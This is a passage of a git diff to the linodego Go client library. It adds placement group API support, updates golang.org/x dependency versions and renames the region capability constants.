h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20200505023115-26f46d2f7ef8/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.4.0/go.mod h1:UE5sM2OK9E/d67R0ANs2xJizIymRP5gJU295PvKXxjQ= -golang.org/x/tools v0.8.0/go.mod h1:JxBZ99ISMI5ViVkT1tr6tdNmXeTrcpVSD3vZ1RsRdN4= -golang.org/x/tools v0.12.0/go.mod h1:Sc0INKfu04TlqNoRA1hgpFZbhYXHPr4V5DzpSBTPqQM= -golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= -golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 h1:H2TDz8ibqkAF6YGhCdN3jS9O0/s90v0rJh3X/OLHEUk= -golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= -google.golang.org/api v0.126.0 h1:q4GJq+cAdMAC7XP7njvQ4tvohGLiSlytuL4BQxbIZ+o= -google.golang.org/api v0.126.0/go.mod h1:mBwVAtz+87bEN6CbA1GtZPDOqY2R5ONPqJeIlvyo4Aw= -google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= -google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc h1:8DyZCyvI8mE1IdLy/60bS+52xfymkE72wv1asokgtao= -google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= -google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -k8s.io/gengo v0.0.0-20210813121822-485abfe95c7c h1:GohjlNKauSai7gN4wsJkeZ3WAJx4Sh+oT/b5IYn5suA= -k8s.io/gengo v0.0.0-20210813121822-485abfe95c7c/go.mod h1:FiNAH4ZV3gBg2Kwh89tzAEV2be7d5xI0vBa/VySYy3E= -k8s.io/gengo v0.0.0-20230829151522-9cce18d56c01 h1:pWEwq4Asjm4vjW7vcsmijwBhOr1/shsbSYiWXmNGlks= -k8s.io/gengo v0.0.0-20230829151522-9cce18d56c01/go.mod h1:FiNAH4ZV3gBg2Kwh89tzAEV2be7d5xI0vBa/VySYy3E= -k8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE= -k8s.io/klog/v2 v2.2.0/go.mod h1:Od+F08eJP+W3HUb4pSrPpgp9DGU4GzlpG/TmITuYh/Y= -k8s.io/klog/v2 v2.80.1/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0= -k8s.io/utils v0.0.0-20210802155522-efc7438f0176/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/instances.go b/instances.go index c85ae019a..37a78c239 100644 --- a/instances.go +++ b/instances.go @@ -43,27 +43,28 @@ const ( // Instance represents a linode object type Instance struct { - ID int `json:"id"` - Created *time.Time `json:"-"` - Updated *time.Time `json:"-"` - Region string `json:"region"` - Alerts *InstanceAlert `json:"alerts"` - Backups *InstanceBackup `json:"backups"` - Image string `json:"image"` - Group string `json:"group"` - IPv4 []*net.IP `json:"ipv4"` - IPv6 string `json:"ipv6"` - Label string `json:"label"` - Type string `json:"type"` - Status InstanceStatus `json:"status"` - HasUserData bool `json:"has_user_data"` - Hypervisor string `json:"hypervisor"` - HostUUID string `json:"host_uuid"` - Specs *InstanceSpec `json:"specs"` - WatchdogEnabled bool `json:"watchdog_enabled"` - Tags []string `json:"tags"` - DiskEncryption InstanceDiskEncryption `json:"disk_encryption"` - LKEClusterID int `json:"lke_cluster_id"` + ID int `json:"id"` + Created *time.Time `json:"-"` + Updated *time.Time `json:"-"` + Region string `json:"region"` + Alerts *InstanceAlert `json:"alerts"` + Backups *InstanceBackup `json:"backups"` + Image string `json:"image"` + Group string `json:"group"` + IPv4 []*net.IP `json:"ipv4"` + IPv6 string `json:"ipv6"` + Label string `json:"label"` + Type string `json:"type"` + Status InstanceStatus `json:"status"` + HasUserData bool `json:"has_user_data"` + Hypervisor string `json:"hypervisor"` + HostUUID string `json:"host_uuid"` + Specs *InstanceSpec `json:"specs"` + WatchdogEnabled bool `json:"watchdog_enabled"` + Tags []string `json:"tags"` + + // NOTE: Placement Groups may not currently be available to all users. + PlacementGroup *InstancePlacementGroup `json:"placement_group"` } // InstanceSpec represents a linode spec @@ -113,6 +114,15 @@ type InstanceTransfer struct { Quota int `json:"quota"` } +// InstancePlacementGroup represents information about the placement group +// this Linode is a part of. +type InstancePlacementGroup struct { + ID int `json:"id"` + Label string `json:"label"` + AffinityType PlacementGroupAffinityType `json:"affinity_type"` + IsStrict bool `json:"is_strict"` +} + // InstanceMetadataOptions specifies various Instance creation fields // that relate to the Linode Metadata service. type InstanceMetadataOptions struct { @@ -140,6 +150,9 @@ type InstanceCreateOptions struct { FirewallID int `json:"firewall_id,omitempty"` DiskEncryption InstanceDiskEncryption `json:"disk_encryption,omitempty"` + // NOTE: Placement Groups may not currently be available to all users. + PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` + // Creation fields that need to be set explicitly false, "", or 0 use pointers SwapSize *int `json:"swap_size,omitempty"` Booted *bool `json:"booted,omitempty"` @@ -148,6 +161,13 @@ type InstanceCreateOptions struct { Group string `json:"group,omitempty"` } +// InstanceCreatePlacementGroupOptions represents the placement group +// to create this Linode under. +type InstanceCreatePlacementGroupOptions struct { + ID int `json:"id"` + CompliantOnly *bool `json:"compliant_only,omitempty"` +} + // InstanceUpdateOptions is an options struct used when Updating an Instance type InstanceUpdateOptions struct { Label string `json:"label,omitempty"` @@ -200,13 +220,14 @@ type InstanceCloneOptions struct { Type string `json:"type,omitempty"` // LinodeID is an optional existing instance to use as the target of the clone - LinodeID int `json:"linode_id,omitempty"` - Label string `json:"label,omitempty"` - BackupsEnabled bool `json:"backups_enabled"` - Disks []int `json:"disks,omitempty"` - Configs []int `json:"configs,omitempty"` - PrivateIP bool `json:"private_ip,omitempty"` - Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` + LinodeID int `json:"linode_id,omitempty"` + Label string `json:"label,omitempty"` + BackupsEnabled bool `json:"backups_enabled"` + Disks []int `json:"disks,omitempty"` + Configs []int `json:"configs,omitempty"` + PrivateIP bool `json:"private_ip,omitempty"` + Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` + PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` // Deprecated: group is a deprecated property denoting a group label for the Linode. Group string `json:"group,omitempty"` @@ -221,10 +242,12 @@ type InstanceResizeOptions struct { AllowAutoDiskResize *bool `json:"allow_auto_disk_resize,omitempty"` } -// InstanceResizeOptions is an options struct used when resizing an instance +// InstanceMigrateOptions is an options struct used when migrating an instance type InstanceMigrateOptions struct { Type InstanceMigrationType `json:"type,omitempty"` Region string `json:"region,omitempty"` + + PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` } // InstancesPagedResponse represents a linode API response for listing diff --git a/k8s/go.mod b/k8s/go.mod index f67c1be19..efae53651 100644 --- a/k8s/go.mod +++ b/k8s/go.mod @@ -28,11 +28,11 @@ require ( github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/spf13/pflag v1.0.5 // indirect - golang.org/x/net v0.25.0 // indirect - golang.org/x/oauth2 v0.20.0 // indirect - golang.org/x/sys v0.20.0 // indirect - golang.org/x/term v0.20.0 // indirect - golang.org/x/text v0.15.0 // indirect + golang.org/x/net v0.26.0 // indirect + golang.org/x/oauth2 v0.21.0 // indirect + golang.org/x/sys v0.21.0 // indirect + golang.org/x/term v0.21.0 // indirect + golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect google.golang.org/protobuf v1.33.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect diff --git a/k8s/go.sum b/k8s/go.sum index 67827e387..a27e53966 100644 --- a/k8s/go.sum +++ b/k8s/go.sum @@ -99,10 +99,11 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= -golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/oauth2 v0.20.0 h1:4mQdhULixXKP1rwYBW0vAijoXnkTG0BLCDRzfe1idMo= -golang.org/x/oauth2 v0.20.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= +golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= +golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= +golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -118,23 +119,26 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= +golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= -golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= +golang.org/x/term v0.21.0 h1:WVXCp+/EBEHOj53Rvu+7KiT/iElMrO8ACK16SMZ3jaA= +golang.org/x/term v0.21.0/go.mod h1:ooXLefLobQVslOqselCNF4SxFAaoS6KujMbsGzSDmX0= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -143,8 +147,8 @@ golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roY golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= -golang.org/x/tools v0.16.1 h1:TLyB3WofjdOEepBHAU20JdNC1Zbg87elYofWYAY5oZA= -golang.org/x/tools v0.16.1/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/lke_clusters_control_plane.go b/lke_clusters_control_plane.go index d71da8ab1..fc648bf86 100644 --- a/lke_clusters_control_plane.go +++ b/lke_clusters_control_plane.go @@ -16,6 +16,7 @@ type LKEClusterControlPlaneACLAddresses struct { // LKEClusterControlPlaneACL describes the ACL configuration // for an LKE cluster's control plane. +// NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACL struct { Enabled bool `json:"enabled"` Addresses *LKEClusterControlPlaneACLAddresses `json:"addresses"` @@ -30,6 +31,7 @@ type LKEClusterControlPlaneACLAddressesOptions struct { // LKEClusterControlPlaneACLOptions represents the options used when // configuring an LKE cluster's control plane ACL policy. +// NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACLOptions struct { Enabled *bool `json:"enabled,omitempty"` Addresses *LKEClusterControlPlaneACLAddressesOptions `json:"addresses,omitempty"` @@ -45,6 +47,7 @@ type LKEClusterControlPlaneOptions struct { // LKEClusterControlPlaneACLUpdateOptions represents the options // available when updating the ACL configuration of an LKE cluster's // control plane. +// NOTE: Control Plane ACLs may not currently be available to all users. type LKEClusterControlPlaneACLUpdateOptions struct { ACL LKEClusterControlPlaneACLOptions `json:"acl"` } @@ -57,6 +60,7 @@ type LKEClusterControlPlaneACLResponse struct { // GetLKEClusterControlPlaneACL gets the ACL configuration for the // given cluster's control plane. +// NOTE: Control Plane ACLs may not currently be available to all users. func (c *Client) GetLKEClusterControlPlaneACL(ctx context.Context, clusterID int) (*LKEClusterControlPlaneACLResponse, error) { return doGETRequest[LKEClusterControlPlaneACLResponse]( ctx, @@ -67,6 +71,7 @@ func (c *Client) GetLKEClusterControlPlaneACL(ctx context.Context, clusterID int // UpdateLKEClusterControlPlaneACL updates the ACL configuration for the // given cluster's control plane. +// NOTE: Control Plane ACLs may not currently be available to all users. func (c *Client) UpdateLKEClusterControlPlaneACL( ctx context.Context, clusterID int, diff --git a/paged_response_structs.go b/paged_response_structs.go new file mode 100644 index 000000000..cee2a8d4e --- /dev/null +++ b/paged_response_structs.go @@ -0,0 +1,55 @@ +package linodego + +// Deprecated: AccountAvailabilityPagedResponse exists for historical compatibility and should not be used. +type AccountAvailabilityPagedResponse legacyPagedResponse[AccountAvailability] + +// Deprecated: AccountBetasPagedResponse exists for historical compatibility and should not be used. +type AccountBetasPagedResponse legacyPagedResponse[AccountBetaProgram] + +// Deprecated: BetaProgramPagedResponse exists for historical compatibility and should not be used. +type BetaProgramPagedResponse legacyPagedResponse[BetaProgram] + +// Deprecated: DatabaseEnginesPagedResponse exists for historical compatibility and should not be used. +type DatabaseEnginesPagedResponse legacyPagedResponse[DatabaseEngine] + +// Deprecated: DatabaseTypesPagedResponse exists for historical compatibility and should not be used. +type DatabaseTypesPagedResponse legacyPagedResponse[DatabaseType] + +// Deprecated: DatabasesPagedResponse exists for historical compatibility and should not be used. +type DatabasesPagedResponse legacyPagedResponse[Database] + +// Deprecated: DomainRecordsPagedResponse exists for historical compatibility and should not be used. +type DomainRecordsPagedResponse legacyPagedResponse[DomainRecord] + +// Deprecated: DomainsPagedResponse exists for historical compatibility and should not be used. +type DomainsPagedResponse legacyPagedResponse[Domain] + +// Deprecated: EventsPagedResponse exists for historical compatibility and should not be used. +type EventsPagedResponse legacyPagedResponse[Event] + +// Deprecated: FirewallDevicesPagedResponse exists for historical compatibility and should not be used. +type FirewallDevicesPagedResponse legacyPagedResponse[FirewallDevice] + +// Deprecated: ImagesPagedResponse exists for historical compatibility and should not be used. +type ImagesPagedResponse legacyPagedResponse[Image] + +// Deprecated: InvoiceItemsPagedResponse exists for historical compatibility and should not be used. +type InvoiceItemsPagedResponse legacyPagedResponse[InvoiceItem] + +// Deprecated: InvoicesPagedResponse exists for historical compatibility and should not be used. +type InvoicesPagedResponse legacyPagedResponse[Invoice] + +// Deprecated: LoginsPagedResponse exists for historical compatibility and should not be used. +type LoginsPagedResponse legacyPagedResponse[Login] + +// Deprecated: NotificationsPagedResponse exists for historical compatibility and should not be used. +type NotificationsPagedResponse legacyPagedResponse[Notification] + +// Deprecated: OAuthClientsPagedResponse exists for historical compatibility and should not be used. +type OAuthClientsPagedResponse legacyPagedResponse[OAuthClient] + +// Deprecated: PaymentsPagedResponse exists for historical compatibility and should not be used. +type PaymentsPagedResponse legacyPagedResponse[Payment] + +// Deprecated: UsersPagedResponse exists for historical compatibility and should not be used. +type UsersPagedResponse legacyPagedResponse[User] diff --git a/pagination.go b/pagination.go index 671ef602f..a4b49605b 100644 --- a/pagination.go +++ b/pagination.go @@ -197,3 +197,8 @@ func queryFieldToString(value reflect.Value) (string, error) { return "", fmt.Errorf("unsupported query param type: %s", value.Type().Name()) } } + +type legacyPagedResponse[T any] struct { + *PageOptions + Data []T `json:"data"` +} diff --git a/placement_groups.go b/placement_groups.go new file mode 100644 index 000000000..3987adca9 --- /dev/null +++ b/placement_groups.go @@ -0,0 +1,160 @@ +package linodego + +import "context" + +// PlacementGroupAffinityType is an enum that determines the affinity policy +// for Linodes in a placement group. +type PlacementGroupAffinityType string + +const ( + AffinityTypeAntiAffinityLocal PlacementGroupAffinityType = "anti_affinity:local" +) + +// PlacementGroupMember represents a single Linode assigned to a +// placement group. +type PlacementGroupMember struct { + LinodeID int `json:"linode_id"` + IsCompliant bool `json:"is_compliant"` +} + +// PlacementGroup represents a Linode placement group. +// NOTE: Placement Groups may not currently be available to all users. +type PlacementGroup struct { + ID int `json:"id"` + Label string `json:"label"` + Region string `json:"region"` + AffinityType PlacementGroupAffinityType `json:"affinity_type"` + IsCompliant bool `json:"is_compliant"` + IsStrict bool `json:"is_strict"` + Members []PlacementGroupMember `json:"members"` +} + +// PlacementGroupCreateOptions represents the options to use +// when creating a placement group. +type PlacementGroupCreateOptions struct { + Label string `json:"label"` + Region string `json:"region"` + AffinityType PlacementGroupAffinityType `json:"affinity_type"` + IsStrict bool `json:"is_strict"` +} + +// PlacementGroupUpdateOptions represents the options to use +// when updating a placement group. +type PlacementGroupUpdateOptions struct { + Label string `json:"label,omitempty"` +} + +// PlacementGroupAssignOptions represents options used when +// assigning Linodes to a placement group. +type PlacementGroupAssignOptions struct { + Linodes []int `json:"linodes"` + CompliantOnly *bool `json:"compliant_only,omitempty"` +} + +// PlacementGroupUnAssignOptions represents options used when +// unassigning Linodes from a placement group. +type PlacementGroupUnAssignOptions struct { + Linodes []int `json:"linodes"` +} + +// ListPlacementGroups lists placement groups under the current account +// matching the given list options. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) ListPlacementGroups( + ctx context.Context, + options *ListOptions, +) ([]PlacementGroup, error) { + return getPaginatedResults[PlacementGroup]( + ctx, + c, + "placement/groups", + options, + ) +} + +// GetPlacementGroup gets a placement group with the specified ID. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) GetPlacementGroup( + ctx context.Context, + id int, +) (*PlacementGroup, error) { + return doGETRequest[PlacementGroup]( + ctx, + c, + formatAPIPath("placement/groups/%d", id), + ) +} + +// CreatePlacementGroup creates a placement group with the specified options. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) CreatePlacementGroup( + ctx context.Context, + options PlacementGroupCreateOptions, +) (*PlacementGroup, error) { + return doPOSTRequest[PlacementGroup]( + ctx, + c, + "placement/groups", + options, + ) +} + +// UpdatePlacementGroup updates a placement group with the specified ID using the provided options. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) UpdatePlacementGroup( + ctx context.Context, + id int, + options PlacementGroupUpdateOptions, +) (*PlacementGroup, error) { + return doPUTRequest[PlacementGroup]( + ctx, + c, + formatAPIPath("placement/groups/%d", id), + options, + ) +} + +// AssignPlacementGroupLinodes assigns the specified Linodes to the given +// placement group. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) AssignPlacementGroupLinodes( + ctx context.Context, + id int, + options PlacementGroupAssignOptions, +) (*PlacementGroup, error) { + return doPOSTRequest[PlacementGroup]( + ctx, + c, + formatAPIPath("placement/groups/%d/assign", id), + options, + ) +} + +// UnassignPlacementGroupLinodes un-assigns the specified Linodes from the given +// placement group. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) UnassignPlacementGroupLinodes( + ctx context.Context, + id int, + options PlacementGroupUnAssignOptions, +) (*PlacementGroup, error) { + return doPOSTRequest[PlacementGroup]( + ctx, + c, + formatAPIPath("placement/groups/%d/unassign", id), + options, + ) +} + +// DeletePlacementGroup deletes a placement group with the specified ID. +// NOTE: Placement Groups may not currently be available to all users. +func (c *Client) DeletePlacementGroup( + ctx context.Context, + id int, +) error { + return doDELETERequest( + ctx, + c, + formatAPIPath("placement/groups/%d", id), + ) +} diff --git a/regions.go b/regions.go index b68053b35..486f0491c 100644 --- a/regions.go +++ b/regions.go @@ -14,31 +14,31 @@ import ( // Defined as strings rather than a custom type to avoid breaking change. // Can be changed in the potential v2 version. const ( - Linodes string = "Linodes" - NodeBalancers string = "NodeBalancers" - BlockStorage string = "Block Storage" - ObjectStorage string = "Object Storage" - ObjectStorageRegions string = "Object Storage Access Key Regions" - LKE string = "Kubernetes" - LkeHaControlPlanes string = "LKE HA Control Planes" - CloudFirewall string = "Cloud Firewall" - GPU string = "GPU Linodes" - Vlans string = "Vlans" - VPCs string = "VPCs" - VPCsExtra string = "VPCs Extra" - MachineImages string = "Machine Images" - BareMetal string = "Bare Metal" - DBAAS string = "Managed Databases" - BlockStorageMigrations string = "Block Storage Migrations" - Metadata string = "Metadata" - PremiumPlans string = "Premium Plans" - EdgePlans string = "Edge Plans" - LKEControlPlaneACL string = "LKE Network Access Control List (IP ACL)" - ACLB string = "Akamai Cloud Load Balancer" - SupportTicketSeverity string = "Support Ticket Severity" - Backups string = "Backups" - PlacementGroup string = "Placement Group" - DiskEncryption string = "Disk Encryption" + CapabilityLinodes string = "Linodes" + CapabilityNodeBalancers string = "NodeBalancers" + CapabilityBlockStorage string = "Block Storage" + CapabilityObjectStorage string = "Object Storage" + CapabilityObjectStorageRegions string = "Object Storage Access Key Regions" + CapabilityLKE string = "Kubernetes" + CapabilityLkeHaControlPlanes string = "LKE HA Control Planes" + CapabilityCloudFirewall string = "Cloud Firewall" + CapabilityGPU string = "GPU Linodes" + CapabilityVlans string = "Vlans" + CapabilityVPCs string = "VPCs" + CapabilityVPCsExtra string = "VPCs Extra" + CapabilityMachineImages string = "Machine Images" + CapabilityBareMetal string = "Bare Metal" + CapabilityDBAAS string = "Managed Databases" + CapabilityBlockStorageMigrations string = "Block Storage Migrations" + CapabilityMetadata string = "Metadata" + CapabilityPremiumPlans string = "Premium Plans" + CapabilityEdgePlans string = "Edge Plans" + CapabilityLKEControlPlaneACL string = "LKE Network Access Control List (IP ACL)" + CapabilityACLB string = "Akamai Cloud Load Balancer" + CapabilitySupportTicketSeverity string = "Support Ticket Severity" + CapabilityBackups string = "Backups" + CapabilityPlacementGroup string 